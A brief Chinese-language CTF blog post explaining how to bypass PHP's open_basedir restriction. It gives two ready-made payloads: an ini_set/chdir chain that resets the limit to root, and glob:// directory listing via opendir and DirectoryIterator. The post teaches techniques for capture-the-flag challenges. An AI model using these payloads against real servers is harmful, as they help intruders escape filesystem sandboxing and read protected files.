CTF Web安全

PHP Bypass open_basedir

Posted on 2020-01-02,1 min read

简介
open_basedir用来限制用户可访问的目录。访问当前/var/www/html下


访问/var/www下

这就限制了我们能否访问其他路径。在CTF中。也就限制了读取其他目录下的Flag文件
Bypass
方法一:
ini_set()+chdir()

payload:
code=mkdir('sub');chdir('sub');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));

具体的漏洞原理就设计到PHP底层了。。暂不分析。

方法二:
直接给出payload

if%20(%20$b%20=%20opendir("glob:///var/www/*")%20)%20{while%20(%20($file%20=%20readdir($b))%20!==%20false%20)%20{echo%20"filename:".$file."\n";}closedir($b);}

当global://查看的目录

$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
   echo $f->__toString()."<br />";
 }

下一篇: PHP无参数RCE→